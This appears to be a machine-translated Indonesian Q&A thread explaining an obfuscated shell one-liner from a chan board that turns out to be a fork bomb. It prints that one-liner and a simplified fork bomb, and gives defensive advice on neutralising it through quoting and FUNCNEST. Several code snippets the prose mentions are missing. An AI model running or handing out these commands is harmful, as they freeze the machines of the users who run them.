Ditemukan di papan chan acak:
echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
Entah bagaimana menjalankan ini, ini menghasilkan proses pemijahan yang tak terhingga yang merajalela dan mesin terhenti. Saya melihat sesuatu tentang "su" yang berusaha dieksekusi berkali-kali.
..yang aneh, karena saya hanya berharap teks menjadi output, bukan eksekusi apa pun.
Menjalankan teks ini melalui dekoder online hanya memberi saya sekumpulan binary spew:
Apa yang sebenarnya dilakukan kekacauan teks ini, dan adakah cara untuk "melihatnya" dengan aman?
Jawaban:
Pertama, mari kita lihat seluruh perintah:
Ini berisi string yang dikutip ganda yang digemakan
uudecode
. Tapi, perhatikan bahwa, dalam string yang dikutip ganda adalah string yang dikutip kembali . String ini dieksekusi . String adalah:Jika kita melihat apa yang ada di dalamnya, kita melihat tiga perintah:
Melakukan ekspansi brace pada perintah tengah, kami memiliki:
Baris pertama mencoba menjalankan perintah nonsense di latar belakang. Ini tidak penting.
Baris kedua penting: ia mendefinisikan fungsi
r
yang, ketika dijalankan, meluncurkan dua salinannya sendiri. Setiap salinan itu, tentu saja, akan meluncurkan dua salinan lagi. Dan seterusnya.Baris ketiga berjalan
r
, memulai bom fork.Sisa kode, di luar string yang dikutip kembali, hanya omong kosong untuk kebingungan.
Cara menjalankan perintah dengan aman
Kode ini dapat dijalankan dengan aman jika kita menetapkan batas pada level fungsi nesting. Ini bisa dilakukan dengan
FUNCNEST
variabel bash . Di sini, kami mengaturnya2
dan ini menghentikan rekursi:Pesan kesalahan di atas menunjukkan bahwa (a) perintah omong kosong
rYWdl
danY29j
tidak ditemukan, (b) bom fork berulang kali dihentikan oleh FUNCNEST, dan (c) output dariecho
tidak dimulai denganbegin
dan, akibatnya, bukan input yang valid untukuudecode
.Bom garpu dalam bentuknya yang paling sederhana
Akan seperti apa bentuk bom garpu jika kita menghilangkan penyembunyiannya? Seperti yang disarankan njzk2 dan gerrit, akan terlihat seperti:
Kami dapat menyederhanakan itu lebih jauh:
Itu terdiri dari dua pernyataan: satu mendefinisikan fungsi bom-garpu
r
dan menjalankan keduar
.Semua kode lain, termasuk pipa untuk
uudecode
, ada di sana hanya untuk penyembunyian dan penyesatan.Bentuk aslinya memiliki lapisan penyesatan
OP telah memberikan tautan ke diskusi papan saluran tempat kode ini muncul. Seperti yang disajikan di sana, kode itu tampak seperti:
Perhatikan salah satu komentar pertama tentang kode ini:
Dalam formulir di papan chann, orang naif akan berpikir bahwa masalahnya adalah
eval
pernyataan yang beroperasi pada outputuudecode
. Ini akan membuat orang berpikir bahwa menghapuseval
akan menyelesaikan masalah. Seperti yang telah kita lihat di atas, ini salah dan sangat berbahaya.sumber
uudecode
ini sama sekali tidak relevan di sini. Sejenak saya pikiruudecode
sedang melakukan interpolasi string yang dikutip kembali yang akan membuatnya secara fundamental tidak aman, tetapi bom fork terjadi sebelum uudecode dimulai.&
sana:echo "`r()(r&r);r`"
.Untuk menjawab bagian kedua dari pertanyaan Anda:
Untuk meredakan string ini, ganti tanda kutip luar ganda dengan tanda kutip tunggal dan keluar dari tanda kutip tunggal yang terjadi di dalam string. Seperti ini, shell tidak akan mengeksekusi kode apa pun, dan Anda benar-benar menyampaikan semuanya langsung ke
uudecode
:Alternatif lain dicatat dalam komentar:
kasperd menyarankan :
Jacob Krall menyarankan untuk menggunakan editor teks, menempelkan konten, lalu meneruskan file itu ke uudecode.
sumber
uudecode
pada baris perintah. Tekan enter. Salin-tempel string yang akan diterjemahkan.uudecode
.echo "foo`die`bar'`die`'baz"
dulu! Artinya, jika ada'
s di dalamnya maka mengganti tanda kutip dengan tanda kutip tunggal tidak akan cukup.Pada pandangan pertama, Anda mungkin berpikir bahwa output ke shell tidak akan pernah dieksekusi . Ini masih benar . Masalahnya sudah di input . Trik utama di sini adalah apa yang oleh programmer disebut sebagai prioritas operator . Ini adalah urutan yang dicoba shell untuk memproses input Anda:
Kesalahannya adalah berpikir bahwa itu
echo
akan menjadi perintah pertama yang akan dieksekusi,uudecode
yang kedua. Keduanya tidak akan pernah tercapai.Kesimpulan: Kutipan ganda selalu berbahaya pada shell.
sumber